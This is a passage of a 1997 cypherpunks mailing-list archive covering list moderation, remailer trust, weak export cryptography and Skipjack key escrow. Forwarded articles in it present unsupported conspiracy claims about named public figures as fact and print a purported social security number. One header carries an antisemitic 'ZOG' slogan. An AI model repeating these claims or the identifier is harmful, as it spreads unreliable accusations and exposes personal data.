thousands of such sendings, I surmise with great certainty that my message was mailed successfully to cypherpunks at toad.com. What happened to if after that I cannot say, but I suspect something related to the "Moderation" process, by Ockham's Razor. There seem to be more "lost" messages than before this "Moderation" thing began. I literally sent thousands of messages (maybe tens of thousands...) and cannot recall a "lost" message. Now, it's happened to me a couple of times that I can recall, and to at least some others, based on recent messages. I thought the basic equation was: UNEDITED = MAIN + FLAMES, with MAIN and FLAMES being disjoint. It's looking now more like: UNEDITED = MAIN + FLAMES + DROPPED/LOST Possibly the fault lies in the software Sandy is using to sort the messages, possibly elsewhere. Whatever, this needs to be fixed immediately, or the experiment abandoned immediately. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From cmcurtin at research.megasoft.com Fri Feb 7 07:11:56 1997 From: cmcurtin at research.megasoft.com (C Matthew Curtin) Date: Fri, 7 Feb 1997 07:11:56 -0800 (PST) Subject: alt.cypherpunks (was: Re: My Departure, Moderation, and "Ownership of the List") Message-ID: <199702071511.HAA24872@toad.com> -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Adam" == Adam Back writes: Adam> Perhaps it is time to reconsider the benefits of Adam> alt.cypherpunks. (As an aside, it is ironic that John Gilmore Adam> was the guy who started the alt.* USENET hierarchy, specifically Adam> to facilitate freedom of speech). This would have another benefit. More sophisticated tools exist for filtering usenet than for filtering email in a voluntarily cooperative way. For example, I use a fairly extensive .procmailrc file to filter my email, and blow away stuff that's either spam or a post from someone I consider a blathering idiot. There are some other folks on the list who likely do the same thing, and there are some whose .procmailrc files I'd like to see, and likely include in my own. But there's no easy way to do that. With alt.cypherpunks, anyone who wishes to "help kill noise" could simply issue a NoCeM report, and those of us with reasonable newsreaders would be able to "listen" to the reports from people with whom we want to cooperate. And we can ignore the rest. The beauty of this scheme is that the control of the list is in the hands of the individual reader, without requiring huge amounts of redundant effort. It's also occurred to me that there can be folks who NoCeM the NoCeM reports :-) - -- Matt Curtin Chief Scientist Megasoft, Inc. cmcurtin at research.megasoft.com http://www.research.megasoft.com/people/cmcurtin/ I speak only for myself Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Have you encrypted your data today? iQEVAwUBMvtAVX6R34u/f3zNAQEFBQf9F6K+47WukspV3BU3E5+/hR9ARVc0cGt5 1zTwkipAqGOZeXMm4//vPYh/q9DyKzV2VLLr/sY7cRiBCypv2BP8y8e8dqkK0eYq LGaLpmF5IGomJA2iCLYmgQAWJrdhKIBxwyuX0hyDwjTvOF/S4BSV2x1b0dR3q1RB goV/3vqvxpEan/iy53M+rMAaYffb4s+TRslIJY5ct1ddx+5aeQGOAmgnGWToK1Ja 5ZLYUwkLQ1By14FxC4451uJDHxARNZcKVuu/dcfH+oWYQFrTo9CPi+7Ykpyyxz8X 0v68Gj57xEdnVgz6XshMY3NHOhiIcCuQQSJ1LjkLSfuV9ZzXuiMKQw== =2ckb -----END PGP SIGNATURE----- From ichudov at algebra.com Fri Feb 7 07:11:59 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Fri, 7 Feb 1997 07:11:59 -0800 (PST) Subject: anonymous remailers Message-ID: <199702071511.HAA24873@toad.com> [I am sending a copy of my article to Tim just to make sure] Sandy Sandfort wrote: > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > SANDY SANDFORT > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > > C'punks, > > On Thu, 6 Feb 1997, Timothy C. May wrote: > > > Why was this message (attached below) sent to the "Flames" list? (*) It > > contains an assertion that the remailer operators are colluding to reveal > > identities, and this is surely a fit topic for discussion. > > > > (* I have temporarily subscribed to the Flames list to see just what it is > > being filtered or censored by Sandy. I received this message, and it had > > the header "Sender: owner-cypherpunks-unedited at toad.com," thus I surmise it > > is a "Flames" message. It would help, by the way, if messages were more > > clearly labelled by the Moderator as to which bucket he placed them in.) > > Currently, there are three lists. It looks as though the message > in question appeared on the Unedited list. This is NOT the same > as the Flames list. > > I don't recall where I sorted that particular post to after I > read it on the Unedited list. If it went to the "wrong" list, > my apologies to the author. As I indicated before, I don't think I am attaching Vulis's posting below, so that the mistake could be corrected. Judging by the dates in the headers, it went to flames list in 3 seconds after arrival to toad.com. That makes me think that somehow it got routed there without human involvement. > a 100% solution is possible, but I think I'm running in the high > 90s under the criteria I enunciated. Not perfection, but a > definite improvement over the prior condition. I see three problems with the current state of the list: 1) There is no charter and no criteria that I am aware of, so your 90% statement is meaningless 2) Moderation policy has not been set (or voted upon) by the readers, therefore it was not optimised to serve the readers 3) Crypto-relevant posts, not containing any flames, get rejected. >From cypherpunks-errors at toad.com Thu Feb 6 22:20:35 1997 Return-Path: Received: (from root at localhost) by manifold.algebra.com (8.8.3/8.8.2) with UUCP id WAA12996; Thu, 6 Feb 1997 22:20:29 -0600 Received: from toad.com (toad.com [140.174.2.1]) by www.video-collage.com (8.8.5/8.8.0) with ESMTP id XAA01326; Thu, 6 Feb 1997 23:14:12 -0500 (EST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id UAA08550; Thu, 6 Feb 1997 20:13:50 -0800 (PST) Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id UAA08545; Thu, 6 Feb 1997 20:13:47 -0800 (PST) Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP; id AA07700 for ; Thu, 6 Feb 97 23:07:09 -0500 Received: by bwalk.dm.com (1.65/waf) via UUCP; Thu, 06 Feb 97 22:24:48 EST for cypherpunks at toad.com To: cypherpunks at toad.com Subject: Re: anonymous remailers From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Comments: All power to the ZOG! Message-Id: Date: Thu, 06 Feb 97 22:22:05 EST In-Reply-To: <32fa39d8.16371604 at mail-relay.internetmci.com> Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Sender: owner-cypherpunks at toad.com Precedence: bulk Status: RO c.musselman at internetmci.com (Charley Musselman) writes: > C'punks -- > When I told a friend about the alt.drugs.pot cultivation newsgroup > and suggested that he use an anonymous remailer to post to the group, > he laughed and said, "Who do you suppose runs the remailers? ATF, > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > anyone know the answer? Specifically, how can we choose a trusted > remailer? Even if the feds are not directtly involved, the so-called "cypher punk" remailers are run by people who should not be trusted. Check out their remailer-operators list: it's full of announcements that some specific person posted something via the remailer that the operator didn't like. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From tcmay at got.net Fri Feb 7 07:12:12 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 07:12:12 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702071512.HAA24882@toad.com> At 10:57 PM -0800 2/6/97, Sandy Sandfort wrote: >On Thu, 6 Feb 1997, Timothy C. May wrote: > >> My posting seem to be going into Limbo, being sent neither to >> the Cypherpunks Heaven Sandy administers nor to the flames of >> the Cypherpunks Hell. At least this is how things now appear. > >It doesn't look familiar. I don't have any idea what happened. >Can anyone tell me if they saw it on the unedited list? That's >where I would have read it. I reproduced the message in my message earlier tonight. Although there are no headers to show routing, since I sent it but never received it, I can assure you it was marked by Eudora as "Sent," and my ISP has reported no delivery problems of any sort. Thus, based on past experiences with thousands of such sendings, I surmise with great certainty that my message was mailed successfully to cypherpunks at toad.com. What happened to if after that I cannot say, but I suspect something related to the "Moderation" process, by Ockham's Razor. There seem to be more "lost" messages than before this "Moderation" thing began. I literally sent thousands of messages (maybe tens of thousands...) and cannot recall a "lost" message. Now, it's happened to me a couple of times that I can recall, and to at least some others, based on recent messages. I thought the basic equation was: UNEDITED = MAIN + FLAMES, with MAIN and FLAMES being disjoint. It's looking now more like: UNEDITED = MAIN + FLAMES + DROPPED/LOST Possibly the fault lies in the software Sandy is using to sort the messages, possibly elsewhere. Whatever, this needs to be fixed immediately, or the experiment abandoned immediately. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From aba at dcs.ex.ac.uk Fri Feb 7 07:12:54 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 7 Feb 1997 07:12:54 -0800 (PST) Subject: Deloitte-Touche? Message-ID: <199702071512.HAA24892@toad.com> Mark writes: > I'm almost certain that Murray is a consultant rather than > or in addition to an accountant. He's been saying these things > for years at conferences, in papers, on mailing lists, etc. To get the definitive version I asked him what his relationship to DT is (I got his email address from a sci.crypt posting), and this is what he said: : I am a consultant to Deloitte & Touche's information security : practice. So now we know. Nice that he defended freedom to use cryptography anyway, Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Allen, that post had a garbled header, and some people may have missed it, so I'll repost (your cc line was broken also, being in the subject field, so I've added your cc line in): : Allen Smith forwards with permission : Lance Cotrell's email: : : Lance Cottrell writes in email to Allen: : >I would be happy to donate the resources to run Cypherpunks off our system. : >We could set up the list provided we were given a list of subscribers. I : >assume it would be unmoderated. : > : > -Lance : > : >> Hi. I don't know how much you've been keeping up with : >>the discussion on cypherpunks, but there is a current proposal : >>to distribute the list onto several different servers. I would : >>be willing to pay for 100 subscribers to run on the cyberpass.net : >>server, provided that somebody else (e.g., Igor Chudov) set up : >>the system initially and was available for assistance later. Any : >>problems on your end? : >> [...] : >> Thanks, : >> -Allen I'd argue for waiting to see the outcome of the moderation experiment, before rehoming the list. The multiple host system proposed by Igor sounds like a good idea in any event. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 The alway-informed Prof. Froomkin asked: >This would be the same Strassmann who stated in public at Harvard early in >1995 that most remailers were run by intelligence agencies such as the >KGB, then denied saying it when asked for substantiation? And cut it >from his paper? Don't know that one, but it seems feasible. Strassmann had the status to speak at Harvard; probably the K school. (He's also an interesting author, really worth a read; despite this recent balderdash.) I kept a clip from an interview with him for years: after the bomb attack on the World Trade Tower he proclaimed that a "Electronic Pearl Harbor" attack on the US was inevitable. The only question, he said, was when. Not if. (It was a usefully overheated hook for some article on compsec, but I don't think I ever used it. Reminded me too much of warnings that someone was bound to someday taint the city water reservoir with LSD;-) As I recall, that piece also quoted him as saying that he knew of an incident where some group had held a major banking institution ransom with a threat to destroy their data files somehow. He refused to identify the institution or otherwise give any further details about the incident. Came to mind a few months back, when Winn Schwartau was firing off (also overheated) missives from Europe reporting, with scant detail, that several UK or European banking institutions had paid off millions when subjected to similar blackmail. > {...} there is some debate about the extent to which in >*intelligence gathering* as opposed to, say, trying to crack a banking >protocol, one can reasonably count on a known plaintext. And much debate >about the processing costs of not having one, especially when one doesn't >know what kind of document is being encrypted (e.g. is it ASCII plaintext? >a spreadsheet? a jpeg? etc.). I think that's his (misdirected) point. The latter is a interesting debate -- but, as you note, not really relevant in this case, where Strassmann proclaims: >>In summary: The claim of exportable cryptography being totally >>insecure, because it can be cracked in 3.5 hours is not >>realistic. The three clues announced in the contest >>would not apply under infowar conditions. Now, an international institution which buys and bets the bank upon US-exportable (40-bit) cryptography probably deserves what it has bought: espionage-enabled software designed for fast and cheap decryption by spooks and sundry college kids with access to a handful of machines. The original annoucement of the RSA Secret Key Challenge declared forthrightly that even 56-bit keys -- whatever the algorithm! -- offer only "minimal" security. (What Goldberg did in hours, many could do in a days or weeks with much less equipment. A 40-bit key length offers a universe of about, what? a trillion possible keys.) And while there might be debate as to how hard it is to attack cyphertext when the attacker doesn't know _anything_ about the message (not its data format; not the language being used; nothing!) there is really none about the fact that -- with virtually any piece of that puzzle -- the attack becomes relatively straightforward. A big job for a little machine, but conceivable: grab a key, decrypt, and then match for the right stats. Rare indeed is the commercial message, or even the typical government transmission, where its original digital format is not easily guessed -- if not known for certain. That is the contemporary, real-world, infowar/infocrime environment. To a machine -- which is, after all, looking for a statistical pattern in the results, not "meaning" -- knowing that the message is in English (and/or coded in ASCII) is functionally equivalent to an old-fashioned human codebreaker being given a matched plaintext/cyphertext sample. Given that much, the computer doesn't need the plaintext! It's counterintuitive to the layman, but one would expect a savvy systems guy like Strassmann to know this cold. Even my son, at 4, understands that a computer manipulates the fodder fed it only in terms of ones and zeros. Statistics, not the "plaintext" clue, reveal who dun it... to the machine. Clue #3 -- "the giveaway." Lord help us! Paul Strassmann has probably taught a generation of the DC InfoWar accolytes how to think about this stuff!!! Hopefully their kids can re-educate them. Suerte, _Vin Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 From Robalini at aol.com Fri Feb 7 07:13:38 1997 From: Robalini at aol.com (Robalini at aol.com) Date: Fri, 7 Feb 1997 07:13:38 -0800 (PST) Subject: The Konformist: The Chamish Files - Bibi Part One Message-ID: <199702071513.HAA24905@toad.com> Subj: ARTICLE: Netanyahu-Part One Date: 97-01-31 13:06:05 EST From: chamish at netmedia.net.il (Chamish Barry) >WHO IS BINYAMIN NETANYAHU? (Part One Of Two) > >By; Barry Chamish* > >Two Fridays after Israel's new Prime Minister was elected, the >newspapers were filled with bios of the new leader. The most indepth >research was undertaken by Orly Azula-Katz, Anat Meidan and Rami Tal of >Yediot Ahronot who produced a balanced portrait and Biranit Goren of >Kol Ha'ir whose story was a snow job. > >Nonetheless, both reports agreed in most details, if not >interpretations. These two reports, combined with other public >knowledge create a most disturbing and mysterious caricature of >Israel's leader for students of secret diplomacy. > >The Conventional Story > >The prevailing myth about Prime Minister Binyamin Netanyahu is that he >grew up in a highly politicized, right wing household. Responsibility >for the presumption lies with his father Bar Tzion, a dedicated >revisionist who was a pallbearer at the funeral of Zeev Jabotinsky. > >The facts are different. Netanyahu recalls," My father did not want me >to enter politics. We were very non-political." The founding families >of Zionism's revisionist wing which produced two generations of leaders >like Menachem and Benny Begin and Yaacov and Dan Meridor, barely knew >of the Netanyahus. > >What Binyamin inherited from his father was an obsession with learning. >His grades in junior high were all above average but he excelled in >only one subject: music. > >When Binyamin moved to America at age fourteen after his father >accepted a teaching post in Philadelphia, his hero became JFK. >Netanyahu felt very alienated being away from Israel and took waitering >jobs to earn the money to spend his summers back home. There his >greatest pleasure was working on left-wing kibbutzim with his pals from >Jerusalem. They recall that he would always try to outwork them, even >when he had an injured knee. > >Returning to high school in Philadelphia, Netanyahu shared close >friendship with only those students as imbued with love for Israel as >he was. He was a straight A student who graduated fourth in his class >at Cheltenham High School, one of the most academically competitive >schools in America. But he didn't attend his graduation ceremony. War >broke out on June 5, 1967, and Netanyahu flew to Israel to volunteer >for the army. > >A high school buddy, Ari Bintener recalls,"No one was surprised. It was >obvious his place was in Israel. I was pleased that he found a way to >help his country." > >Bob Trimble, Netanyahu's soccer coach remembers,"Bibi was the best >player on the team, except for his brother Yoni who could have played >professionally if he had wanted to. The only problem with Ben was that >his political views were so far to the left of the other players." > >As a soldier, Binyamin rose to the rank of captain in the most secret >combat unit of all, the fighting arm of military intelligence. He took >part in a good number of legendary operations and was wounded while >fighting highjackers holding a Sabena passenger plane. On the Suez, he >almost drowned trying to swim with his heavy automatic rifle under >Egyptian fire. He became known as "the lousy swimmer from Jerusalem." > >Soldiers recall him as a cool but "square" officer who lost his temper >only once. That was when he found his men had been taking "souvenirs" >from operations in Lebanon. He put a quick end to what he viewed as >looting. > >After five years of soldiering Netanyahu returned to America to study >architecture at either Harvard or MIT. He chose the latter because it >permitted him to begin an MA course load, as his academic advisor Prof >Leon Garviser remembers. "I told him that no one could handle the load >but he insisted that he had to make up for time lost while serving his >country. I agreed to add one extra course in the first semester and >when he passed all his courses I added another one. In the end he >finished his MA in two and a half years. Don't ask me how. No one did >it before him or since." > >Once again, Netanyahu interrupted his studies only once. In October of >1973, war broke out in Israel and he flew back to fight in the Sinai. >When he returned, he became a student activist on behalf of Israel, a >fact that was noted by the Israeli consul of Boston, Collette Avital. >In one of the many ironies in his life, it was Avital, the dovish >consul of New York during the Rabin/Peres administration who arranged >Netanyahu's first television appearance, a debate with PLO activist >Prof Edward Said. > >The loss of his brother Yoni during the Entebbe raid put a stop to >Binyamin's plans to become an architect. Instead he settled for an MA >in business administration and took a post at the Boston Consulting >Group. His boss was Ira Magaziner, the man who later was the >intellectual force behind the Clinton administration's failed health >reform package. > >As Moshe Arens notes, "Bibi is only the second prime minister who ever >had a real job outside the army or politics. Shamir was the first. He >once worked as an accountant in a glue factory." > >While working at Boston Consulting, Binyamin received his first >diplomatic assignment: he was sent to Sweden to advise the government >on efficient administration of public companies. > >Already earning $100,000 and with a splendid career before him, >Netanyahu decided to give it all up and return to Israel to act as the >marketing manager of a furniture concern. As his colleague Barbara >Maclogan notes,"Anyone who claims Bibi planned to live in America >doesn't know what he's talking about. He gave up the opportunity of his >life in Boston to earn a quarter of his salary in Israel." > >In 1979, Netanyahu organized an anti-terrorism conference in Jerusalem, >dedicated to his fallen brother. Somehow, he managed to attract the >likes of George Bush, George Shultz, and Richard Perle (President's >Reagan's chief arms negotiator) to the meeting and was thrust briefly >onto the world stage. But when the conference ended, it was back to >work at the furniture factory. > >That all changed in 1982, when Israel's Washington Ambassador Moshe >Arens invited Netanyahu to be his deputy. This unprecedented career >rise has been a subject of much speculation. Many people have noted >that Bar Tzion Netanyahu was one of the few guests invited to Arens' >wedding and he was repaying an old friend. But Arens has a different >explanation. "People got a good laugh when they heard I phoned a >furniture factory to find a deputy. What sold me on Bibi was his >organization of the anti-terror conference and the strong impression he >made on American leaders who participated." > >In 1984, after two visibly successful years as Arens' deputy, Bibi was >named Israel's ambassador to the UN. In another of those ironies that >follow him, he was appointed to the post by Shimon Peres against the >objections of Yitzhak Shamir. Once again, it was a leader of the Labour >Party who promoted his early career. > >This was the true turning point in his quest to become prime minister. >Netanyahu's good looks, fluent English and controversial opinions made >him a media star. He became a frequent presence on Ted Koppel's >Nightline and Larry King Live. As King observes,"Whenever he appeared, >the phones wouldn't stop ringing. He especially made an impression on >women viewers. As a guest I'd rate him 8. If he had a sense of humor to >go with everything else, he'd have been a 10." > >During this period, Netanyahu wrote his book, Terror-How The West Can >Win. The book made a tremendous impression on the Reagan >administration. In fact, whenever George Bush visited New York, and >that was often, he would call on Netanyahu. > >By 1988, Netanyahu had made powerful allies in the American media. He >received strong support from Charles Krauthammer of the Washington >Post, Abe Rosenthal of the New York Times, and Ellie Weymouth, daughter >of Katherine Graham, the publisher of Newsweek. When he returned to >Israel, he was too powerful a figure to be ignored and was appointed, >first Deputy Foreign Minister and later the Prime Minister's spokesman. >In this capacity, CNN made Netanyahu an international media star during >the Persian Gulf War. > >Netanyahu was ready to challenge the Old Guard of the Likud. The >combination of youth, determination and powerful allies abroad led to a >resounding victory in the Likud primaries of 1993 and in the general >elections of 1996. >-------------------------------------------- >Sent by Barry Chamish - Israeli journalist. >Phone/Fax : (972)-2-9914936 >E-Mail : chamish at netmedia.net.il >-------------------------------------------- From Robalini at aol.com Fri Feb 7 07:13:39 1997 From: Robalini at aol.com (Robalini at aol.com) Date: Fri, 7 Feb 1997 07:13:39 -0800 (PST) Subject: The Konformist: The Chamish Files - Bibi Part Two Message-ID: <199702071513.HAA24906@toad.com> Subj: ESSAY: [2/2] Natanyahu Date: 97-01-31 12:51:08 EST From: chamish at netmedia.net.il (Chamish Barry) >From: Chamish Barry > >The Secret Life Of Binyamin Netanyahu > >Even within the conventional story, it is clear that Netanyahu was >groomed for leadership by the Council On Foreign Relations (CFR) in New >York. In 1979, twenty-seven year old Netanyahu called a conference on >terrorism and the ruling elite of the CFR, Bush, Shultz and Perle >answered to his summons. One word will suffice: why? > >Yoni Netanyahu was undoubtedly a martyr but far from the only one in >Israel. He was not such a powerful symbol that the CFR would send a >delegation of its biggest guns, including CIA director Bush to his >unknown brother's get-together. > >Netanyahu's decision to quit his lucrative Boston job is almost >inexplcable. Netanyahu sought a highpaying job at a prestigious >consulting firm yet not two months later, he gave it up to fly back to >Israel and sell sofas. He was barely settled in back home when he >decided to organize an anti-terrorism conference and invite the most >powerful people in Washington to attend. > >It is possible that Netanyahu was told to quit his job, return to >Israel and arrange the conference. Perhaps there is a connection to the >fact that a year later Shultz later made fighting terrorism a first >priority of the Reagan administration and that Vice-President Bush was >appointed to head a front for illegal covert activities called The >Anti-Terror Task Force. > >Arens' offer of a deputy ambassadorship to salesman Netanyahu >made no political sense. Israeli diplomatic aides and deputies >typically rise slowly through the Foreign Ministry bureaucracy. They >are not thrust into the second highest position at the most vital >embassy in the world. It is far from impossible that Arens was >directed to bring in Netanyahu by the very people in the Reagan >administration who attended his conference three years earlier. > >Once in New York in 1984, CFR-affiliated media such as CNN, the New >York Times, Washington Post, Newsweek and CFR members Koppel and King >turned Netanyahu into a major political figure; so much so that George >Shultz became a close friend. We again ask the succinct question: why? >What did Shultz, twenty years Netanyahu's senior, find so amusing about >the Israeli UN Ambassador that he had to pay him a courtesy call every >time he flew to New York? In 1985, Shultz chaired another Netanyahu- >organized conference on terrorism, this time in Washington. The >resulting publicity and prestige was a significant factor in >Netanyahu's fast-rising political career. Clearly, the secretary-of- >state had a major stake in Netanyahu's future. Which means, so did >George Bush. > >All that can be concluded from the conventional story. What then do we >make of Bibi's secret life? > >In 1987, Netanyahu applied for credit using his American social >security number 020364537. With that number, he or someone else made >the application under a phony name, John Sullivan, living at a false >address in Northern California. > >Netanyahu used Sullivan's name to borrow money during 1987-88. John >Sullivan does not exist, nor does Netanyahu's credit file. Israeli and >American reporters who tried to dig into Netanyahu's past using his >social security number discovered two other phony names used to apply >for credit in 1987-88 but were perplexed to find that his credit >records were completely removed. Only someone very high up in the >American government could have authorized the erasing of the file. > >We return to the all-purpose question: why? Again, no one who knows is >talking. What is nearly certain is that while Netanyahu was the UN >Ambassador, he was either defrauding a credit company or on an >assignment involving money that required three identity changes. > >Then there is Netanyahu's close relationship with Congressman Ben >Gillman, head of the House Committee On International Relations. The >problem here is that Gillman was also a close associate of Shabtai >Kalmonovitch and shared business deals with him in Africa. Kalmonovitch >was, not long after, imprisoned in Israel as a KGB spy. This is not to >imply that Netanyahu was involved in spying, only that his closest ally >in Congress has mighty strange intelligence ties to Israel. > >And what to make of the mystery of Netanyahu's housing?. Before he was >even the leader of the Likud, two foreign businessmen, Jack Mandel of >Australia and Sandy Eisenstadt of the US each paid about $750,000 to >buy Netanyahu luxury apartments in Tel Aviv and Jerusalem. Again, no >one has a clue why. There is speculation that part of the reason may be >Eisenstadt's stake in an Israeli oil exploration company, a shady and >hidden business, but no concrete connection has been discovered by the >Israeli media. > >Netanyahu's penchant for secrecy is not subtle. It is well-known among >the Israeli media that he had conducted a number of secret meetings >with the Jordanian royal family in London and Amman before he became >prime minister. Even the conventional Jerusalem Post reported in mid- >June that six secret meetings were held in the past two years. But when >Inside Israel just before the elections asked Netanyahu to comment on >the meetings, he denied they had ever taken place. > >Perhaps the most secret and worrying ties concern what is supposedly a >high-tech services company. Yediot Ahronot relates how Netanyahu wooed >a local Likud leader. "He was invited by Netanyahu to a meeting in his >office at Systematics in Ramat Gan. The head of the company, Oded >Levental is a candidate for a financial post in the new government." > >Systematics is at the core of serious research by American alternative >publications, including the usually reliable Media Bypass. In short, >the allegations are that the National Security Agency had handed >Systematics stolen software called Promis that opened a trap door to >the world's secret banking transactions. About 250 Americans, mostly >politicians, had their illegal foreign accounts emptied of over $3.5 >billion in the operation. It is claimed that Colin Powell dropped out >of the presidential race after his account electronically vanished. >Leading figures in the operation included George Bush, Caspar >Weinberger and two Arkansas attorneys, Vince Foster Jr. and Hillary >Rodham Clinton on behalf of Clinton financier Jackson Stephens. The >research invariably concludes that Foster was murdered because he knew >too much about the scam. > >A leading investigative writer, Sherman Skolnick, writes: > >"Some contend Systematics is an NSA proprietary and spies on banks >overseas. Can Systematics rightfully deny spying actually done by >buffers or cut-outs between Systematics and NSA? Systematics, through a >spokesperson, vigorously denies Foster assisted it in any spying on >foreign banks but remains apparently silent on whether Hillary Rodham >Clinton assisted Systematics in some nefarious activities." > >Is it fair to ask why Systematics provided Netanyahu office space and >if this was the sum total of its involvement with him? > >Since taking office, Netanyahu has fueled fears of international >control by his actions within Israel's tiny anti-NWO community. They >were most intrigued by his refusal to give Ariel Sharon a sensitive >cabinet post. One possible reason is fear of Sharon's own intelligence >arm in the US. Then for those people who fervently hoped that he would >rid himself of any connections to the Arye Deri scandal, with all its >implications of money laundering and perhaps murder, Netanyahu >appointed as his Justice Minister, Yaacov Neeman, a lawyer who is >currently being investigated for intimidating a key witness against >Deri in a London trial. > >But the topper was Netanyahu's decision to allow Yaacov Frenkel to run >the country's economy single-handedly. Frenkel worked for the World >Bank between 1971-1990. After nineteen years away from "home" Frenkel >was unexplainedly appointed head of the Bank of Israel. > >His policies mirrored the world-wide debt program of his previous >employer documented by numerous researchers. The plan involves raising >interest rates beyond what the public or industry can afford, and >forcing the government to borrow lots of money from American banks to >keep the populace pacified. When the debts have to be repaid from an >empty treasury, the International Monetary Fund bails out the country >with schemes guaranteed to impoverish the people. > >Frenkel was a proponent of Israel borrowing $10 billion in loans >guaranteed by the American government and he kept his interest rates as >high as he could in the face of opposition from then-Finance Minister >Avraham Shohat who suspected Frenkel, "was playing politics with the >Bank of Israel." > >Binyamin Netanyahu, the man who Inside Israel hoped would save Israel >from the NWO puppet regime of Peres, appointed Yaacov Frenkel to be his >Minister of Finance. The only thing that prevented the disaster was >party opposition to an appointee who had never publicly supported the >Likud. > >Dan Meridor got the post instead. But as the Maariv headline read: >"Meridor Will Act, Frenkel Will Lead." On his first day in office >Meridor announced that his policy would be to lower the standard of >living in Israel. Not a week later, Frenkel raised the interest rates >by a whopping 1.5% with Meridor's "approval." > >Something is going on behind the scenes at the CFR. While Secretary of >State Warren Christopher must appear to be opposing Likud government >policies to keep the Arabs in line, the former CFR director is playing >some kind of double game with Netanyahu. > >King Hussein made his accommodation with Netanyahu well before the >elections and refused to support Peres during the campaign. Netanyahu's >victory clearly delighted him and on the surface, why not? The last >thing he would want is a PLO state on his border with control of the >Moslem holy sites. In time, it will become clearer what Netanyahu >promised the King during the secret London meetings. Included, most >assuredly, will be Jordanian hegemony over the Temple Mount. > >There has been a transformation in Israel but the CFR is still running >the latest prime minister. And that is a good reason for intense fear >about Israel's future. >---------- >Barry Chamish is the editor of Inside Israel, an investigative report >on Israeli affairs. For a free sample copy and subscription >information, write: > >INSIDE ISRAEL >POB 579 >Swindon, Wiltshire >ENGLAND SN4 OTA >Fax: 44-793-790722 >EMAIL:merkava at tcp.co.uk >-------------------------------------------- >Sent by Barry Chamish - Israeli journalist. >Phone/Fax : (972)-2-9914936 >E-Mail : chamish at netmedia.net.il >-------------------------------------------- From dthorn at gte.net Fri Feb 7 07:14:40 1997 From: dthorn at gte.net (Dale Thorn) Date: Fri, 7 Feb 1997 07:14:40 -0800 (PST) Subject: Govt & cyberspace In-Reply-To: Message-ID: <32FB468C.68C6@gte.net> Declan McCullagh wrote: > I find your "distributed democracy" interesting, except that it would > allow scant time for deliberation. Think of it this way: don't you > think the majority of Americans would have voted to pass the CDA? > Or worse? Or restrictions on domestic crypto? Or worse? > Democracy generally means majoritarian rule. The Bill of Rights is an > anti-majoritarian document. It protects the rights of political or > religious minorities. I fear that electronic "click here to vote" > democracy would undermine the Bill of Rights even more. You spoke a key phrase when you said "scant time". When I was in the Perot camp, I saw some direct "democracy" in action, and it was pitiful how the little folks could be herded into voting this way and that. OTOH, this subject deserves more in-depth analysis, and a good starting point could be the California referendums (Prop. 209, etc.), followed on by Supreme Court decisions saying OK, not OK, and so on. That system provides a good mix of people having input and proper Constitutional judicial review. One of the good factors is the pamphlets the state sends out to voters prior to the election, with a decent analysis of the issues from opposing points of view. Not perfect to be sure, but a good start. > Dale Thorn writes: > I wish for once and for all someone would delineate this "democracy" > thing from a true, distributed democracy, where every individual is > required to participate equally, and no narrow interests can co-opt > the vote the way they do in the kind of "democracy" Declan mentions. From aba at dcs.ex.ac.uk Fri Feb 7 07:15:18 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 7 Feb 1997 07:15:18 -0800 (PST) Subject: Skipjack uses Elliptic curve? (was Re: Moderation [Tim,Sandy]) Message-ID: <199702071515.HAA24943@toad.com> Lucky Green wrote: > [...]. How many of you remember the anonymous message posted to this > list revealing that Skipjack is an elliptic curve cipher? [One of the most > respected names in cryptography confirmed this to me in private > conversation. No, the person was not privy to the secret specs. The person > didn't need to be. :-] What aspect of Skipjack family is Elliptic curve? Skipjack itself I thought was a symmetric key block cipher, with 80 bit keys and 64 bit block size. The key escrow designs (clipper chip and family) included several additions: 1. check sum to prevent LEAF (Law Enforcement Access Field) forgery (16 bits, which is not enough as Matt Blaze demonstrated) 2. government access copy of chip's serial number encrypted with LE family key in LEAF 3. copy of session key encrypted with unit's escrow key in LEAF (the escrow key is the key that is stored in the government database indexed by chip serial number - the database which is split between the two escrow agents). 4. hardware random number key generation 5. undisclosed key exchange mechanism 6. 